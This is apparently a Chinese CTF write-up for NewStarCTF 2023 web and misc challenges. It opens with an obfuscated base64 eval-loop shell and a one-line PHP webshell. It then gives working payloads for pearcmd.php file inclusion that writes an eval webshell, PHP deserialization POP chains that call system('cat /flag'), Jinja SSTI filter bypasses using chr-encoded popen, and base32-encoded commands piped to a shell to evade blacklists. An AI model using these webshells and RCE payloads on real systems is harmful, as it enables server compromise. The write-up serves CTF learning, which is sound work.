k8tNDlXOElMIwpaMic1KjFRPVc4NE5KOFNaJjQjYEUwNE5DLjQlSSw1NTcxVGBYNUYlLD00JTI8NVYnNDRLRTFSISQqSD0yClotNU4iNEdMSDA2RFcsNC0mNlApITFSKUs2NSUlMlE5SSwmJSMxUilYMidSLC0lIUw4U0QpNDNgRTY1ISQKWi41Vko4Rz0pPVIoQzZTRDM7UlYxPCM1NzQ3NTYwR05PLSQ1WiwjOToyNS0xMSZILTFHNTA9JjklOyRSOApaNlQ5Qyw1PTE5VFYpMiVVRTVIKEgwRykpNFRSNzs1OU4wND1PNiRWSiw0NToyNyFYMDQ5KDs1VkkxJj06Clo9R0gkMFE9QzskJSc+Nkw6NDROVDY3OVcsJU4oOFA1KDQlKU0wNSEpMlFWJzVQJTcyJlVEMDUhTDM1ViYKWjw0OSE7Ni0nNjROMjpROUosJ04iMicwSDVJVlA7UlImNlQ1Ij1HNSg2UikoOlElJjE1KTo9UVIqNiQ9JQpaMUctJz0jISE+NEg4MDdSMi01UjE5VFIjMiZWWjA0PUstUSUxMTQpJjQ0UjY1UVJDOVElMCwmKSI0RyUyClo1UT0kOzU5KCwmViExUilINCdSTzpRTiY+JlohMiclIjVTSDM1USkpNlAlJjQkNTIwNz0kOEhWWjNQJSIKWjFSKEo2U0gzNiQlTDRHKSU7Ni0lNUc5LDskJSY+JlYjPUdEUDI2SDY+JC0oOlA9KD40UjEwSCE6LDU5SgpaMSMlIjIjITgyVD02LCQ9ST0jPTcxRiVBNjUlKTJSOUk6UCUjMVFDRTIkPEMsUS0oPSNSNzszIUo1UT1PClotSD0yLTQpOjQ3YEg1Rz0zMTVWKThQNSk0UDBGNlFSMzRRVjEzUCEiMVQwTDE2Q0M4US0wMzZMNzpTLUEKWjA1JSU0UTlaM0g1IjImOVMwNSEoOFJSJjMnUjY9RzU1Mkc5LCw0OUosJkg6MVFASDYlYEM+ND1JOFBSJQpaLCcxTDZSKUMtNDVZOEg1NzFIKEMxMyFHPVElMzEmViY0NFInMVIlOiw0TkstJi0wPjYoWDVTRCg+US0oClozJzUnOzRdNTBHOSQtNDkyLSZaIj40TEgwUiUzMTQ1MzhTRDc+JCUyNlAhSDJSVic6VD0hMUpgQzVTSC8KWjRSVkk8NDknOyZWSzA0Uk87JTlaMiM5Oj1HMEQ2Nz0yLFE5MTMlTio9RiU2MFE5LDpIOEQ1VDUhNCQ1IgpaMlIlLTIkKSY6UDUmNDMlNTBSKUw2UjknMSMhITFHQ0QxNkdDLFEpMTEmLTc9SClNMEc5RzpHNVoyJlohClo9RzBMNjQ9LTE1Tig4UzkhMUdOSzA1LSQ6R1JXOElMOjQ3JSIxNkhTLCU9Jj4jISU7N0BHMDUlKDhHPScKWjRQJTcyJVVIMiQ5KDg0LUoxI1IiPUc1NTVHPSwsUj0mMTUlOTQkMVQ1SUglMSROSTRQITo7JS0kNlIpRApaMVElSj01NSk9SChDMTNgRz4lIUw4UCEpNDRdMzZUOUQxUlIxOEg5NjImVUcyIyEkLEhSMTIjMSU7NEtEClo1R04kOkdOJjI1TjosJzBENUlHRz1HMTI4U1YhMVFOUDBQJTcyUTknNlRWOTFJKEM2U0gvNEclSTImPSUKWjsmVUMxSj0uNiRWSjE0PSg9UihMMiRSNjkkJUw0UFIhPUowQzFKTk8uNT1MOFRWOjIkREgxRz0tMiQpKApaNlNOITI1PTc2NDlEMFElWjRIOTg0SjBEMiMhJTY1Uik1R1YmMUlWTjA0OU8sJCUmLCYlOjI1PUcxNlZQClo7USVJMTRWJjFJLSgxSj1HOkdSMDRJTCEyNCU1MSZEWDU1PSczU1ohNDdOSTZRTkQ8NCUnM0c1IzIjTlQKWjVIJUs6Ry1KMjQpIj1ILSYyN05HOlFSMSwjKTk0VDUqNlQ9Nj5RNTA0U1ooMUdOWTQnUk8sUVIyLTUlIgpaMic1IjZROVc9SDkmPiNSJj5RXTo2UT0tNVJOMS0nTjcxVEBDMiUtNj4kKVkzNFYmOzRdJTBHPTY6JCUwCloyJiU5NCVVSDVRPSQsSDkoOlAlJj1ILSQwUCUyPjQ9MTRUPToxUU44MlQ9Uz5RUig2UCkhNDdOUzY3OSgKWi41TjAsJ1Y6MVJWWTVJRCg+UlYxMSNSOTs1KEM2JDlDOzU5WiwjLToyJERMMDZILzYkLSYxJk4hNCdSOApaNlE5Oj00KUoxND0pPjcxWTVTRDI9NCUxMjQ5OjEmLUE2UT0kLTU9SjRIMTYyJihFMiQ9SzlSUkoxIzU6Clo0MzBEMjc5MipHJSYsJzk6MUdOTDZTSDIsNC0mPSMxKCwnMEUwU0QoOEc5SjEmJSg+I0BJMTMhLzRSVkoKWjImPTYxSDlONlFSJCxRJTEsJi0wPjYoRDIkQEg2JCUzMDZMIT1JOEMxSk5HOlE0Qy01NTkxRzBMNUlIKQpaMSU5JjwiWjcyNFI4MDROQy4kMVotNDkpPiYpWTA1JUssUS0oPCMlIT1HREsyJzkkLVE0RDVTWjk0JEgyClowUT0kLCVWKTNSTio9R1I3MTMhQypHTikzNT06PVFDSDA2SFMsNVImNlNWISw1OEUwUU5IMlE5JiwnPTYKWjFSVlkwNkQyLSVWTDEjUiY0NFI1MEc9MipIPUw4VFIiOzQ1RDA3PS4sR05KNVNONzQ0UkE2ND0kLTU5VwpaOElMOjI1LTExJkg2PjU5JzVQMSU7JE5YNlE9Qz40KUosNTUmNCRDRTA1JUs+JClJMSdSOjQ1OEQxSj1LClo6RzVaM0gpIT1RTksxNSU2PjRSST4iWjY7JE5NMEo5OjpHOVozIyU4MiVVRzEzJS02JSFMOFA5KDQlKEcKWjZRUiQ6UTFaM1AlODInYEcyJ1IsOFEpMjwmLTcxSS0nNjROMjpRUjItNSk6NEgoTDZRPS0yJFJJOFBSKApaPVQ1MTZRPTo9NFYxMjQ1NzFUTlg1UCU2LVEpWjImKSQ7NEgmNiQ9TzYkVkksNDUkNFEwRzI1JSg9USlaCloyNFYmNDU9KDBHOEc5UTVZPidWIz1RSDI2JSUzNiQ9Sy0mVik0SDlLNjc9KC01PVoxNTknPUkoQzInUi0KWjJHJUwwNSk4NCZaJTY0TlcsNFIxMiYlITQ3YEQ1SVZQO1JWSjwjNTg0IyU2MjdSSywkNEM9JlYjPUdEUApaMjZINj1IOSYxIzEoPjU5TjZRPSUyUSVaLDU9OTFUYEQxNkhLOyQpSzw0KSYxRmBENUc5MjslPEQ1U0QhClo9UTBMNiUhVywkTks+I1I2LCMxSDQnUk87JCUyMTQtOjQ0Tkw2NWBHLDQtKDhQJSg0IyFOMEo5LC0kOUoKWjNQJTYxVDBHMDVgRDVIVlkzJj0hPUgtNTZSKTo6RzlLM0hSIj4nMEwxU0dDPlEpJjZQUigxSC0kMDc5KApaPjVSJzRUTjkxUUQ4MlQ9JTFRPUk4UFIlOzROSzZSJSUwUlZKOEc1IjImKFg1U0hLPVJWSTwmViY0NT0oClowRzlLOyU9MzVITiM9UUhBNiUkRDYkTkk6UCkpNDdOSzY3OSQ6R1ZKLSMlIjFUQEwyNSEzMyVWMTInNSYKWjpTLUEwSlIyOUhOMTpQJSIxSmBKMDQ8QzhSVjM0RykkOyZaJjBHPTo7NCUoLSM1OjI0NUcxSCUpMTQtJwpaNlApNzI0RFAwSCEtMlI5JzEjLSg9SSlXMDUkQzhIVik1UFIpOzc1NzFIJU86R1IwMidWMD42KEU1SUhYClo0USUnMSdSNzs1OU0yNzkyLCQkQy01UiE9R05INUc9LzFRLSk4U1ohMUdOUTBHTks4UTFaM1AlNzFQQEQKWjA0Uiw+UlZaMiYtOD1HMEMxJSkkOlE1Wj41NTg+JzBMMUglSDElUiY2Uk4qPUg5SzFSKUM6RyVaLCZSIQpaMUcwTDFTSDI9SE4mNFAhITFQJS8wN1IuPTQxWTpQJSIyNihEMjUtNjhIVkk8NCkqNDRLRjFKTkcsUSUmClo0SFYiNEdMWDVRPSQ9SD0nPSMpKTQzIUs2ND0oLTQ5RzhJTDk0NEBINVQ9Nj1HRDIyJlYhMVFSOTBRUjcKWjFSVic0VD0hMUkoQzA0PUwwNVYzNFA1Ij1QMEMxSjlDOyU9Wj4jOTo9RzFYMlIlNj41PSkxJlohMUYhTgpaMDdSITJSOSc0SE4kNFFARTIkQEg0NSFMOFA5JSw0SDg2VD0kLDU9Wi0jLTYyNVVEMTZHRDMkJTM0VFI4Clo0NlZNMEc5NjpHNVo0SFI6MVFOUDI2SCw+JFJLOFNIITRQMUo2UVI2OFE1MTVTJSg9R0NHMDUhSzs1VUMKWjwjNSI0NDBENjQ9KDYkVko0SE4oPVQxUzIkQEc4NVIwMyNSNjFIOEQ2NDk2LFFOJywjKTk0JDFMNUo9VwpaPVFWSjwjUik0SD0vMDdSJC01TjE9NDUhMjYpUzVTRDIsSFYoPSYpJjs0S0Q1UU5TKkdOJjImWjoxSiFMClo1UTFQO1JWKD0mPSI0NS04MUo9TzlHJTEyNEg6PVFIQTBRPSQsJE5JNVNWKTQ1LSQwUCUyOUhOMTpUVikKWj1RQEMwNSklNlElKD0mLTc0Ni01MDUpJCw0OTMzJzUjPUcxTDZUPS4sUTkwMiZaITRJKU40J1JPOyU5WQpaNFAtOTQ0QEw1U0gsLCROSjZTVig9RiU4MDRSJTJSPScxJ1IpPjcxWTVIKEc+NVZJMSdSODFIKUoxSjkoClosJCUyLTVWOjRUYEg2NSVTPjQtKDlTWjY7IyFJMFNIQz41Uko0UCEjMVBOODJUPTY+JC0oOVNaNz42KU8KWjBKPSU0UT0nMSYlKD4jTlQyJFI2OzVWWTZQJSI9SDhEMFFSLjskTkkyJkQ5NEgoSDZRPS0xJU4mPSZaKApaMiM1IzZSLTY5SFJaM0c5IzFUYEgyIyFHLEhWKDw0KSozUy1BNlFSJTNROTEzIyUoPiYpWTVTSCg5JC0pClowNFYmPUdDQzBHTlM5Uj0wMiZEOiwnMEgwVDxENTQ9SzpQKSE7N1IsMDQ9JC40OVotJ1YqPUpgTDE3OTMKWjVRJUw0Ryk5NDNgQzBHTk87NE4wMiMxMD42KVk1R1IsLSVWTDEjNSk7JlVDNjQ5Sy0kTlosIykiOyclLgpaMTZILTE0PUsuIzklOydOWDA0TkQwUjlaNEg5KTIkQEQxUjEvNDQpMTEmLTo7NCUnMlQ9LDpHNVo0SUwhCloyJ2BMMSZEWDE0Tko0Uk4qPUYxSjBROTo6RzVaNEhWOjI0MEwxSCUyPjQpJjMjNSgsNilMNjUhJTw1VloKWjM0TiMxVDBYMDUlTDtRLScxIyUiNDUtNjBSKVMsNEBDMSYpOTI1PSo2JSVXLCQpJz0mSCg7IyUvMDdSJApaLTQxVzhJTDkxRzFYMlE9SDVRKSY2U0Q3LCRdOjZSJSQtNDlZLDQ5KT1UMEswND1LPTQtKDw1KSc0NFI1CloxSk5DOVElMDImLSEyNDUqNVNHRDFRUkwzUCk3MVFSJzBHTkctNU4nMTQxODFUMVk1U0goLDUhTDhQKSEKWjQzIUs2ND0lMlE5SjVQISMxSiFYMjUlLzZSVik0UDUnNDUtNjI3TksuJThDLSdOIjs0Q0gxSCU2LEcpJgpaOlA9ITQkTlcwSjk6OEhWMS0jKTg0U1VEMVQ9TDVRJSg9NFY6MUg5TTY0OSg2JFZKMSMpKTIlVUQxNkhMClo0NVIxMTQpOjQ1OUo2JD1PLjROJjImTjoyNDBMNiQ9KTFRPUo1UE42OzUpTTA1KUQ1UlInMzQ9JTQjYEoKWjInPUw2JVIxMiZaIj1HNSU2UikoOlElJj01NTk0SD0mNlFMUDtSVkkwNCk3MUcwRDI3QEM6RzlKPiZEOQpaPUc1IjFUPEMsNE5KOFBSJj5RXTY2UU5MNVFOWi0nTiMyJ0BYNUdARy1SVig9NFYnMUdIJTBHQEstNE4mCloxNSkhMicwRDVRPSQ4NT0mOFApITszIVM0Jz1XLjROJiwmSDo7JERYMFQ8Ryw1UiY4UCk3OzMhSDZTSCUKVTRSUko9NU46MUdLTDVQIUQ8NU4oMjQ1KT1TKVkyJFIsOiQwRTNKMTA+UUw4KUVRVioyUVYuQ2BgCmAK')))));" ;for ($i =0 ; $i <50 ; $i ++){ if (preg_match ("/base64/" ,$shell )){ $tmp = preg_replace ("/eval/" ,"return " ,$shell ); $shell = eval ($tmp ); }else { break ; } }echo $shell ;
error_reporting(0);($_GET['7d67973a'])($_POST['9fa3']);
GET:?7d67973a=system
POST:9fa3=ls /
Week3 Web include 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 ); if (isset ($_GET ['file' ])) { $file = $_GET ['file' ]; if (preg_match ('/flag|log|session|filter|input|data/i' , $file )) { die ('hacker!' ); } include ($file .".php" ); } else { highlight_file (__FILE__ ); }?>
提示去看phpinfo.php,打开搜索flag看到fake{check_register_argc_argv}
浅谈文件包含之包含pearcmd.php漏洞_register_argc_argv文件包含-CSDN博客
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
buuctf 的靶机是用 docker 搭的, 猜测默认环境下应该也会有 pearcmd.php根据文章所说, docker php 环境下 register_argc_argv
默认为 On, 也就是说我们可以通过 query-string 来控制 $_SERVER['argv']
, 即执行 pearcmd.php 所需要的参数
payload 如下:
1 2 3 4 5 ?+config-create+/&file=/u sr/local/ lib/php/ pearcmd&/<?=@eval($_POST[1]);?>+/ tmp/hello.php 需要在burp中传入,在hackbar传入会被url编码 ?file =/tmp/ hello POST传参命令执行
medium_sql sqlmap一把梭,布尔盲注时间有点久
POP Gadget 1 Begin ::__destruct -> Then ::__toString -> Super ::__invoke -> Handle ::__call -> CTF::end -> WhiteGod ::__unset
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php highlight_file (__FILE__ );class Begin { public $name ; public function __destruct ( ) { if (preg_match ("/[a-zA-Z0-9]/" ,$this ->name)){ echo "Hello" ; }else { echo "Welcome to NewStarCTF 2023!" ; } } }class Then { private $func ; public function __toString ( ) { ($this ->func)(); return "Good Job!" ; } }class Handle { protected $obj ; public function __call ($func , $vars ) { $this ->obj->end (); } }class Super { protected $obj ; public function __invoke ( ) { $this ->obj->getStr (); } public function end ( ) { die ("==GAME OVER==" ); } }class CTF { public $handle ; public function end ( ) { unset ($this ->handle->log); } }class WhiteGod { public $func ; public $var ; public function __unset ($var ) { ($this ->func)($this ->var ); } } @unserialize ($_POST ['pop' ]);
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php class Begin { public $name ; public function __destruct ( ) { } } class Then { private $func ; public function __construct ( ) { $s =new Super (); $this ->func=$s ; } public function __toString ( ) { ($this ->func)(); return "Good Job!" ; } } class Handle { protected $obj ; public function __construct ( ) { $this ->obj=new CTF (); } public function __call ($func , $vars ) { $this ->obj->end (); } } class Super { protected $obj ; public function __construct ( ) { $this ->obj=new Handle (); } public function __invoke ( ) { $this ->obj->getStr (); } public function end ( ) { die ("==GAME OVER==" ); } } class CTF { public $handle ; public function __construct ( ) { $w =new WhiteGod (); $this ->handle=$w ; } public function end ( ) { unset ($this ->handle->log); } } class WhiteGod { public $func ='system' ; public $var ="cat /flag" ; public function __unset ($var ) { ($this ->func)($this ->var ); } } $b =new Begin (); $b ->name=new Then (); echo urlencode (serialize ($b ));
1 2 3 4 5 6 7 8 9 10 11 __destruct () 中,由于 $name 包含一个 Then 对象,会触发 __toString () 魔术方法。 在 __toString () 方法中,首先调用 $this ->func 属性指向的对象(即 Super 对象), 接下来进入 Super 类,由于该类含有一个 __invoke () 魔术方法,因此在调用 Super 对象时会触发 __invoke () 方法。 在 __invoke () 方法中,又会调用 $this ->obj->getStr () 方法,并进入 Handle 类中。 由于 Handle 类没有定义 getStr () 方法,因此在调用这个方法时会触发 __call () 魔术方法。 在 __call () 方法中,将会调用 $this ->obj->end () 方法,并触发 CTF 类中的 end () 方法。 在 CTF 类的 end () 方法中,我们会调用 unset ($this->handle->log), 从而触发 WhiteGod 类的 __unset () 魔术方法。 在 __unset () 方法中,我们构造了一个命令行字符串,然后通过执行漏洞执行了系统命令。
GenShin Python的SSTI
发现文件路径,使用name传参访问
1 2 3 4 5 6 7 8 9 10 11 12 13 ?name={{7 *7 }} 发现过滤了连续的{{}} ?name={%print(7 *7 )%} 出现49 说明成功了 我们看下config配置 看看key 没有,那考点应该不是爆破 查看一下子类 ?name={%print"" |attr("__class__" )|attr("__base__" )|attr("__subclasses__" )()%} 查找到<class 'os._wrap_close' >在第[128 ]个子类名 使用__init__ 方法再调用__globals__ 可以获取到方法内以字典的形式返回的方法、属性等值,但这里init被过滤我们采用"+" 进行绕过 即in"+" it ?name={%print"" |attr("__class__" )|attr("__base__" )|attr("__subclasses__" )()|attr(132 )|attr("__in" +"it__" )|attr("__globals__" )%} 找到了eval 然后我们可按照下面这样来构造命令 popen被过滤 但是我们可用采用chr 编码进行绕过__import__ ('os' ).popen('ls /' ).read()进行chr 编码, 但我们还是要执行这个函数eval (__import__ ('os' ).popen('ls /' ).read()) 发现flag之后也是一样的改为__import__ ('os' ).popen('cat /flag' ).read() 进行chr 编码 ?name={%print"" |attr("__class__" )|attr("__base__" )|attr("__subclasses__" )()|attr(10 )|attr("__in" +"it__" )|attr("__globals__" )|attr("get" )("__builtins__" )|attr("get" )("eval" )("eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))" )%} flag{50 febb8e-61 b0 -42 d6-bfc9-906243946038 }
官方wp:ban掉了一些内置函数但还剩下get_flashed_message()
直接{% print(get_flashed_messages.__globals__.os["pop"+"en"]("cat /flag").read()) %}
R!!!C!!!E!!! 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );class minipop { public $code ; public $qwejaskdjnlka ; public function __toString ( ) { if (!preg_match ('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $this ->code)){ exec ($this ->code); } return "alright" ; } public function __destruct ( ) { echo $this ->qwejaskdjnlka; } }if (isset ($_POST ['payload' ])){ unserialize ($_POST ['payload' ]); }
链子
1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );class minipop { public $code ; public $qwejaskdjnlka ; }$Minipop = new minipop ();$Minipop ->qwejaskdjnlka = $Minipop ;$Minipop ->code = 'echo "JJLEMRSDK5BUQR2KIJCUGUSTK5FUUSSVINJUWVKJJZDVKTKXKNMEWRSFKVCVIU2PJFLESVKJJZBUWS2KIFKU2TSLKRETKRSUJNKVGUKKGVFEMRKXINBEUUSOIZCVEMSGJRDEUVCJKRFVGS2OIVCUWV2DIVEVMR2WIVLUGR2MIZGVMSKUJNHEWSSJIVHVESZSJFJEIVJUKFJUESJVIFKE6UJSJZFFMRSFI46T2PI=" | base32 -d | base32 -d |base32 -d |/bin/[r-t]h' ;echo serialize ($Minipop );
因为对bash进行了过滤,所以用base32进行加密,正则匹配发现被匹配到了,于是多加密了两层
1 echo "JJLEMRSDK5BUQR2KIJCUGUSTK5FUUSSVINJUWVKJJZDVKTKXKNMEWRSFKVCVIU2PJFLESVKJJZBUWS2KIFKU2TSLKRETKRSUJNKVGUKKGVFEMRKXINBEUUSOIZCVEMSGJRDEUVCJKRFVGS2OIVCUWV2DIVEVMR2WIVLUGR2MIZGVMSKUJNHEWSSJIVHVESZSJFJEIVJUKFJVOSKWIFLFGUSCKVFEUSSGIVJEWSSIKU3FIMSQJI2UQVJ5HU6T2PJ5" | base32 -d | base32 -d |base32 -d |/bin/[r-t]h
1 payload =O:7 :"minipop" :2 :{s:4 :"code" ;s:287 :"echo " JJLEMRSDK5BUQR2KIJCUGUSTK5FUUSSVINJUWVKJJZDVKTKXKNMEWRSFKVCVIU2PJFLESVKJJZBUWS2KIFKU2TSLKRETKRSUJNKVGUKKGVFEMRKXINBEUUSOIZCVEMSGJRDEUVCJKRFVGS2OIVCUWV2DIVEVMR2WIVLUGR2MIZGVMSKUJNHEWSSJIVHVESZSJFJEIVJUKFJUESJVIFKE6UJSJZFFMRSFI46T2PI=" | base32 -d | base32 -d |base32 -d |/bin/[r-t]h" ;s:13 :"qwejaskdjnlka" ;r:1 ;}
Misc 阳光开朗大男孩 secret.txt社会主义核心价值观编码
1 法治自由公正爱国公正敬业法治和谐平等友善敬业法治富强公正民主法治和谐法治和谐法治法治公正友善敬业法治文明公正自由平等诚信平等公正敬业法治和谐平等友善敬业法治和谐和谐富强和谐富强和谐富强平等友善敬业公正爱国和谐自由法治文明公正自由平等友善敬业法治富强和谐自由法治和谐法治和谐法治和谐法治法治和谐富强法治文明公正自由公正自由公正自由公正自由
得到this_password_is_s000_h4rd_p4sssw0rdddd
打开flag.txt
1 🙃💵🌿🎤🚪🌏🐎🥋🚫😆😍🌊⏩🔬🚹✉☀☺🚹🐅🎤🛩💵🌿🌊🚰😊🌊✉🐎❓🎈🌉👑🎅📮🥋👣🕹🚪☀🔄🚫🐍❓🐍😊☀🔬🍍🤣🎈🥋🙃👑🌏🐎🌊📮😂💵🏹👉❓😇🍴💧☺💵😁☃👉🎅👁☂🌿👉🍴🌪👌🍴🍵🖐😇🍍😀🗒🗒
基于AES-EMOJI
的原理其实就是一个换表base64然后加个ECB模式的AES,把原来base64的64个字符加个=号一共65个字符替换成65个emoji字符
1 2 3 4 5 6 7 8 9 10 11 import base64from Crypto.Cipher import AESimport string emojisInit="🍎🍌🏎🚪👁👣😀🖐ℹ😂🥋✉🚹🌉👌🍍👑👉🎤🚰☂🐍💧✖☀🦓🏹🎈😎🎅🐘🌿🌏🌪☃🍵🍴🚨📮🕹📂🛩⌨🔄🔬🐅🙃🐎🌊🚫❓⏩😁😆💵🤣☺😊😇😡🎃😍✅🔪🗒" alpha = string.ascii_lowercase+string.ascii_uppercase+string.digits+"+/=" cipher = "🙃💵🌿🎤🚪🌏🐎🥋🚫😆😍🌊⏩🔬🚹✉☀☺🚹🐅🎤🛩💵🌿🌊🚰😊🌊✉🐎❓🎈🌉👑🎅📮🥋👣🕹🚪☀🔄🚫🐍❓🐍😊☀🔬🍍🤣🎈🥋🙃👑🌏🐎🌊📮😂💵🏹👉❓😇🍴💧☺💵😁☃👉🎅👁☂🌿👉🍴🌪👌🍴🍵🖐😇🍍😀🗒🗒" base64data = "" for i in cipher: base64data += alpha[emojisInit.index(i)]print (base64data)
AES解密,key是s000_h4rd_p4sssw0rdddd
滴滴滴 wav文件听起来像是拨号音,在http://dialabc.com/sound/detect/index.html 进行拨号音识别:
得到拨号音的内容为:
52563319066
结合题目简介的提示,这串数字应该是某处使用的密码,因此可以尝试steghide工具来对jpg图片进行隐写内容提取:
steghide extract -sf secret.jpg
得到fffflllllaaaaaggggg.txt
flag{1nf0rm4t10n_s3cur1ty_1s_a_g00d_j0b_94e0308b}
大怨种 给了一个gif,gifframe查看
第二张含有一张汉信码,在线解密在线汉信码识别,汉信码解码 - 兔子二维码 (tuzim.net)
flag{1_d0nt_k0nw_h0w_to_sc4n_th1s_c0d3_acef808a868e}
键盘侠 usb流量
1 tshark -r draobyek.pcapng -Y 'usb.data_len == 8' -Y 'usb.src =="1.15.1"' -T fields -e usbhid.data | sed '/^\s*$/d' > draobyek1.txt
得到(其中表示删除,表示空格,根据这个按键顺序对数据进行处理后得到flag)
1 2 3 w3lc0m3<SPACE>to<SPACE>newstar<SPACE>ctf<SPACE>2023<SPACE>flag<SPACE>is<SPACE>here<SPACE>vbafjwrisgjadwwiihdgja13882hxbbbna <CAP><CAP>ff<DEL>lll<DEL><DEL>aaa<DEL><DEL>gggg<DEL><DEL><DEL>{999<DEL><DEL>999<DEL><DEL>11<DEL>9aaa<DEL><DEL><SPACE><SPACE><DEL><DEL>eb2---<DEL><DEL>a450---<DEL><DEL>2f5f<SPACE><SPACE><SPACE><DEL><DEL><DEL>--<DEL>7bfc[unknown][unknown][unknown]-8989<DEL><DEL>dfdf<DEL><DEL>4bfa4bfa<DEL><DEL><DEL><DEL>85848584}}}<DEL><DEL><DEL><DEL><DEL><DEL><DEL>}]<SPACE><SPACE><SPACE><SPACE>nice<SPACE>work!1you<SPACE>got<SPACE>this<SPACE>flag output :w3lc0m3<SPACE>to<SPACE>newstar<SPACE>ctf<SPACE>2023<SPACE>flag<SPACE>is<SPACE>here<SPACE>vbafjwrisgjadwwiihdgja13882hxbbbna <CAP>FLAG{9919AEB2-A450-2F5F-7BFC[UNKNOWN][UNKNOWN][UNKNOWN]-89DF4BFA8584}]<SPACE><SPACE><SPACE><SPACE>NICE<SPACE>WORK!1YOU<SPACE>GOT<SPACE>THIS<SPACE>FLAG flag{9919aeb2-a450-2f5f-7bfc-89df4bfa8584}
2-分析
但你心中仍然有一种不祥的预感,这时你的同事告诉你这台服务器已经被攻击者获取到了权限,需要你尽快去还原攻击者的攻击路径,调查清楚攻击者是如何获取到服务器权限的。;FLAG格式flag{md5(攻击者登录使用的用户名_存在漏洞的文件名_WebShell文件名)};例如flag{testuser_123.php_shell.php},将括号内的内容进行md5编码得到flag{58aec571c731faae1369b461d3927596}即为需要提交的Flag
一般登录请求都是POST方式的请求,因此可以先过滤出所有的POST请求:
http && http.request.method == POST
可以看到有一个发送给/api/action/login.php的POST请求中有username和password字段
其次是存在漏洞的文件名和WebShell文件名,可以看到有大量的目录扫描流量,先使用WireShark过滤器过滤掉响应状态码为404的响应:
http && http.response.code != 404
响应格式是文件包含漏洞包含pearcmd.php GetShell的响应
index.php文件的page参数存在任意文件包含漏洞,攻击者通过这个漏洞包含pearcmd.php向服务器中写入了名为wh1t3g0d.php的WebShell。
而后续的流量也可以看到攻击者是利用wh1t3g0d.php这个Shell执行了一些系统命令
1 2 best_admin_index.php_wh1t3g0d .php flag{4069 afd7089f7363198d899385ad688b}
Week4 Web 逃 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__FILE__ );function waf ($str ) { return str_replace ("bad" ,"good" ,$str ); }class GetFlag { public $key ; public $cmd = "whoami" ; public function __construct ($key ) { $this ->key = $key ; } public function __destruct ( ) { system ($this ->cmd); } }unserialize (waf (serialize (new GetFlag ($_GET ['key' ]))));
反序列化字符逃逸
关键代码在于
1 2 3 function waf ($str ) { return str_replace ("bad" ,"good" ,$str ); }
这里我们可控的只有key的值,因此需要通过这里的字符长度的变化来修改序列化字符串,从而实现对于cmd值的控制。
payload:
1 2 3 4 5 ?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:" cmd ";s:2:" ls ";} 实际数据O:7 :"GetFlag" :2 :{s:3 :"key" ;s:88 :"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood" ;s:3 :"cmd" ;s:2 :"ls" ;}";s:3:" cmd " ;s:6:"whoami" ;} 最终payload: ?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:" cmd ";s:9:" cat /flag";}
More Fast
再快一点我就能拿到Flag了,如果Destruct能早一点触发就好了…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 <?php highlight_file (__FILE__ );class Start { public $errMsg ='' ; public function __destruct ( ) { die ($this ->errMsg); } }class Pwn { public $obj ; public function __invoke ( ) { $this ->obj->evil (); } public function evil ( ) { phpinfo (); } }class Reverse { public $func ; public function __get ($var ) { ($this ->func)(); } }class Web { public $func ; public $var ; public function evil ( ) { if (!preg_match ("/flag/i" ,$this ->var )){ ($this ->func)($this ->var ); }else { echo "Not Flag" ; } } }class Crypto { public $obj ; public function __toString ( ) { $wel = $this ->obj->good; return "NewStar" ; } }$web =new Web ();$web ->func='system' ;$web ->var ='ls /' ;$pwn =new Pwn ();$pwn ->obj=$web ;$re =new Reverse ();$re ->func=$pwn ;$crypto =new Crypto ();$crypto ->obj=$re ;$start =new Start ();$start ->errMsg=$crypto ;echo serialize ($start );?> destruct ()->toStirng ()->get ()->invoke->evil
1 O :5 :"Start" :1 :{s:6 :"errMsg" ;O:6 :"Crypto" :1 :{s:3 :"obj" ;O:7 :"Reverse" :1 :{s:4 :"func" ;O:3 :"Pwn" :1 :{s:3 :"obj" ;O:3 :"Web" :2 :{s:4 :"func" ;s:6 :"system" ;s:3 :"var" ;s:4 :"ls /" ;}}}}}
题目提示destruct早一点触发
1 2 1.去掉序列化尾部 } 2.修改序列化数字元素个数
